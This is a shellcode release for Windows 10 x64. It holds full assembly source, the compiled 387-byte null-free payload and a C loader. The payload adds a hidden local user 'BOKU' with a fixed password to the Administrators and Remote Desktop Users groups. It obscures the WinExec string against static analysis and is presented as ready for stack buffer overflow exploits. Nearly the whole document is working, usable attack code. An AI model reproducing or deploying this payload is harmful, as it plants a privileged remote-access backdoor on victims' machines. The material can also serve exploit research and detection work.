# Shellcode Title: Windows/x64 - Dynamic NoNull Add RDP Admin (BOKU:SP3C1ALM0V3) Shellcode (387 Bytes) # Shellcode Author: Bobby Cooke (boku) # Date: May 2nd, 2021 # Tested on: Windows 10 v2004 (x64) # Compiled from: Kali Linux (x86_64) # Full Disclosure: github.com/boku7/x64win-AddRdpAdminShellcode # Shellcode Description: # 64bit Windows 10 shellcode that adds user BOKU:SP3C1ALM0V3 to the system and the localgroups # Administrators & "Remote Desktop Users". Position Independent Code (PIC) that dynamically resolves # KERNEL32 DLL via PEB & LDR. Shellcode contains no null bytes, and therefor can be used on typical # stack based Buffer OverFlow vulnerabilities. Shellcode must be executed from a process with either # a HIGH or SYSTEM integrity level. ; nasm -f win64 addRdpAdmin.asm -o addRdpAdmin.o ; for i in $(objdump -D addRdpAdmin.o | grep "^ " | cut -f2); do echo -n "\x$i" ; done ; Get kernel32.dll base address xor rdi, rdi ; RDI = 0x0 mul rdi ; RAX&RDX =0x0 mov rbx, gs:[rax+0x60] ; RBX = Address_of_PEB mov rbx, [rbx+0x18] ; RBX = Address_of_LDR mov rbx, [rbx+0x20] ; RBX = 1st entry in InitOrderModuleList / ntdll.dll mov rbx, [rbx] ; RBX = 2nd entry in InitOrderModuleList / kernelbase.dll mov rbx, [rbx] ; RBX = 3rd entry in InitOrderModuleList / kernel32.dll mov rbx, [rbx+0x20] ; RBX = &kernel32.dll ( Base Address of kernel32.dll) mov r8, rbx ; RBX & R8 = &kernel32.dll ; Get kernel32.dll ExportTable Address mov ebx, [rbx+0x3C] ; RBX = Offset NewEXEHeader add rbx, r8 ; RBX = &kernel32.dll + Offset NewEXEHeader = &NewEXEHeader xor rcx, rcx ; Avoid null bytes from mov edx,[rbx+0x88] by using rcx register to add add cx, 0x88ff shr rcx, 0x8 ; RCX = 0x88ff --> 0x88 mov edx, [rbx+rcx] ; EDX = [&NewEXEHeader + Offset RVA ExportTable] = RVA ExportTable add rdx, r8 ; RDX = &kernel32.dll + RVA ExportTable = &ExportTable ; Get &AddressTable from Kernel32.dll ExportTable xor r10, r10 mov r10d, [rdx+0x1C] ; RDI = RVA AddressTable add r10, r8 ; R10 = &AddressTable ; Get &NamePointerTable from Kernel32.dll ExportTable xor r11, r11 mov r11d, [rdx+0x20] ; R11 = [&ExportTable + Offset RVA Name PointerTable] = RVA NamePointerTable add r11, r8 ; R11 = &NamePointerTable (Memory Address of Kernel32.dll Export NamePointerTable) ; Get &OrdinalTable from Kernel32.dll ExportTable xor r12, r12 mov r12d, [rdx+0x24] ; R12 = RVA OrdinalTable add r12, r8 ; R12 = &OrdinalTable jmp short apis ; Get the address of the API from the Kernel32.dll ExportTable getapiaddr: pop rbx ; save the return address for ret 2 caller after API address is found pop rcx ; Get the string length counter from stack xor rax, rax ; Setup Counter for resolving the API Address after finding the name string mov rdx, rsp ; RDX = Address of API Name String to match on the Stack push rcx ; push the string length counter to stack loop: mov rcx, [rsp] ; reset the string length counter from the stack xor rdi,rdi ; Clear RDI for setting up string name retrieval mov edi, [r11+rax*4] ; EDI = RVA NameString = [&NamePointerTable + (Counter * 4)] add rdi, r8 ; RDI = &NameString = RVA NameString + &kernel32.dll mov rsi, rdx ; RSI = Address of API Name String to match on the Stack (reset to start of string) repe cmpsb ; Compare strings at RDI & RSI je resolveaddr ; If match then we found the API string. Now we need to find the Address of the API incloop: inc rax jmp short loop ; Find the address of GetProcAddress by using the last value of the Counter resolveaddr: pop rcx ; remove string length counter from top of stack mov ax, [r12+rax*2] ; RAX = [&OrdinalTable + (Counter*2)] = ordinalNumber of kernel32. mov eax, [r10+rax*4] ; RAX = RVA API = [&AddressTable + API OrdinalNumber] add rax, r8 ; RAX = Kernel32. = RVA kernel32. + kernel32.dll BaseAddress push rbx ; place the return address from the api string call back on the top of the stack ret ; return to API caller apis: ; API Names to resolve addresses ; WinExec | String length : 7 xor rcx, rcx add cl, 0x7 ; String length for compare string mov rax, 0x9C9A87BA9196A80F ; not 0x9C9A87BA9196A80F = 0xF0,WinExec not rax ;mov rax, 0x636578456e6957F0 ; cexEniW,0xF0 : 636578456e6957F0 - Did Not to avoid WinExec returning from strings static analysis shr rax, 0x8 ; cexEniW,0xF0 --> 0x00,cexEniW push rax push rcx ; push the string length counter to stack call getapiaddr ; Get the address of the API from Kernel32.dll ExportTable mov r14, rax ; R14 = Kernel32.WinExec Address jmp short command WinExec: ; UINT WinExec( ; LPCSTR lpCmdLine, => RCX = + 0x00 (Null Terminated) ; UINT uCmdShow => RDX = 0x0 = SW_HIDE ; ); xor rdx, rdx ; RDX = 0x0 = SW_HIDE sub rsp, 0x20 ; WinExec clobbers first 0x20 bytes of stack (Overwrites our command string when proxied to CreatProcessA) call r14 ; Call WinExec(, SW_HIDE) add rsp, 0x20 ; Fix stack ret command: ; WinExec("cmd.exe /c net user BOKU SP3C1ALM0V3 /add && net localgroup Administrators BOKU /add && net localgroup \"Remote Desktop Users\" BOKU /add", 0x0); ; 63 6D 64 2E 65 78 65 20 2F 63 20 6E 65 74 20 75 cmd.exe /c net u ; 73 65 72 20 42 4F 4B 55 20 53 50 33 43 31 41 4C ser BOKU SP3C1AL ; 4D 30 56 33 20 2F 61 64 64 20 26 26 20 6E 65 74 M0V3 /add && net ; 20 6C 6F 63 61 6C 67 72 6F 75 70 20 41 64 6D 69 localgroup Admi ; 6E 69 73 74 72 61 74 6F 72 73 20 42 4F 4B 55 20 nistrators BOKU ; 2F 61 64 64 20 26 26 20 6E 65 74 20 6C 6F 63 61 /add && net loca ; 6C 67 72 6F 75 70 20 22 52 65 6D 6F 74 65 20 44 lgroup "Remote D ; 65 73 6B 74 6F 70 20 55 73 65 72 73 22 20 42 4F esktop Users" BO ; 4B 55 20 2F 61 64 64 00 KU /add. ; String length : 135 mov rax, 0x6464612f20554bFF ; dda/ UK : 6464612f20554b shr rax, 0x8 push rax mov rax, 0x4f42202273726573 ; OB "sres : 4f42202273726573 push rax mov rax, 0x5520706f746b7365 ; U potkse : 5520706f746b7365 push rax mov rax, 0x442065746f6d6552 ; D etomeR : 442065746f6d6552 push rax mov rax, 0x222070756f72676c ; " puorgl : 222070756f72676c push rax mov rax, 0x61636f6c2074656e ; acol ten : 61636f6c2074656e push rax mov rax, 0x202626206464612f ; && dda/ : 202626206464612f push rax mov rax, 0x20554b4f42207372 ; UKOB sr : 20554b4f42207372 push rax mov rax, 0x6f7461727473696e ; otartsin : 6f7461727473696e push rax mov rax, 0x696d64412070756f ; imdA puo : 696d64412070756f push rax mov rax, 0x72676c61636f6c20 ; rglacol : 72676c61636f6c20 push rax mov rax, 0x74656e2026262064 ; ten && d : 74656e2026262064 push rax mov rax, 0x64612f203356304d ; da/ 3V0M : 64612f203356304d push rax mov rax, 0x4c41314333505320 ; LA1C3PS : 4c41314333505320 push rax mov rax, 0x554b4f4220726573 ; UKOB res : 554b4f4220726573 push rax mov rax, 0x752074656e20632f ; u ten c/ : 752074656e20632f push rax mov rax, 0x206578652e646d63 ; exe.dmc : 206578652e646d63 push rax mov rcx, rsp ; RCX = ,0x0 call WinExec ########################################################################################################################################### #include // C Shellcode Run Code referenced from reenz0h (twitter: @sektor7net) int main(void) { void* exec_mem; BOOL rv; HANDLE th; DWORD oldprotect = 0; unsigned char payload[] = "\x48\x31\xff\x48\xf7\xe7\x65\x48\x8b\x58\x60\x48\x8b\x5b\x18\x48\x8b\x5b\x20\x48\x8b\x1b\x48\x8b\x1b\x48\x8b\x5b\x20\x49" "\x89\xd8\x8b\x5b\x3c\x4c\x01\xc3\x48\x31\xc9\x66\x81\xc1\xff\x88\x48\xc1\xe9\x08\x8b\x14\x0b\x4c\x01\xc2\x4d\x31\xd2\x44" "\x8b\x52\x1c\x4d\x01\xc2\x4d\x31\xdb\x44\x8b\x5a\x20\x4d\x01\xc3\x4d\x31\xe4\x44\x8b\x62\x24\x4d\x01\xc4\xeb\x32\x5b\x59" "\x48\x31\xc0\x48\x89\xe2\x51\x48\x8b\x0c\x24\x48\x31\xff\x41\x8b\x3c\x83\x4c\x01\xc7\x48\x89\xd6\xf3\xa6\x74\x05\x48\xff" "\xc0\xeb\xe6\x59\x66\x41\x8b\x04\x44\x41\x8b\x04\x82\x4c\x01\xc0\x53\xc3\x48\x31\xc9\x80\xc1\x07\x48\xb8\x0f\xa8\x96\x91" "\xba\x87\x9a\x9c\x48\xf7\xd0\x48\xc1\xe8\x08\x50\x51\xe8\xb0\xff\xff\xff\x49\x89\xc6\xeb\x0f\x48\x31\xd2\x48\x83\xec\x20" "\x41\xff\xd6\x48\x83\xc4\x20\xc3\x48\xb8\xff\x4b\x55\x20\x2f\x61\x64\x64\x48\xc1\xe8\x08\x50\x48\xb8\x73\x65\x72\x73\x22" "\x20\x42\x4f\x50\x48\xb8\x65\x73\x6b\x74\x6f\x70\x20\x55\x50\x48\xb8\x52\x65\x6d\x6f\x74\x65\x20\x44\x50\x48\xb8\x6c\x67" "\x72\x6f\x75\x70\x20\x22\x50\x48\xb8\x6e\x65\x74\x20\x6c\x6f\x63\x61\x50\x48\xb8\x2f\x61\x64\x64\x20\x26\x26\x20\x50\x48" "\xb8\x72\x73\x20\x42\x4f\x4b\x55\x20\x50\x48\xb8\x6e\x69\x73\x74\x72\x61\x74\x6f\x50\x48\xb8\x6f\x75\x70\x20\x41\x64\x6d" "\x69\x50\x48\xb8\x20\x6c\x6f\x63\x61\x6c\x67\x72\x50\x48\xb8\x64\x20\x26\x26\x20\x6e\x65\x74\x50\x48\xb8\x4d\x30\x56\x33" "\x20\x2f\x61\x64\x50\x48\xb8\x20\x53\x50\x33\x43\x31\x41\x4c\x50\x48\xb8\x73\x65\x72\x20\x42\x4f\x4b\x55\x50\x48\xb8\x2f" "\x63\x20\x6e\x65\x74\x20\x75\x50\x48\xb8\x63\x6d\x64\x2e\x65\x78\x65\x20\x50\x48\x89\xe1\xe8\x2a\xff\xff\xff"; unsigned int payload_len = 387; exec_mem = VirtualAlloc(0, payload_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); // Copy payload to new buffer RtlMoveMemory(exec_mem, payload, payload_len); // Make new buffer as executable rv = VirtualProtect(exec_mem, payload_len, PAGE_EXECUTE_READ, &oldprotect); // If all good, run the payload if (rv != 0) { th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)exec_mem, 0, 0, 0); WaitForSingleObject(th, -1); } return 0; }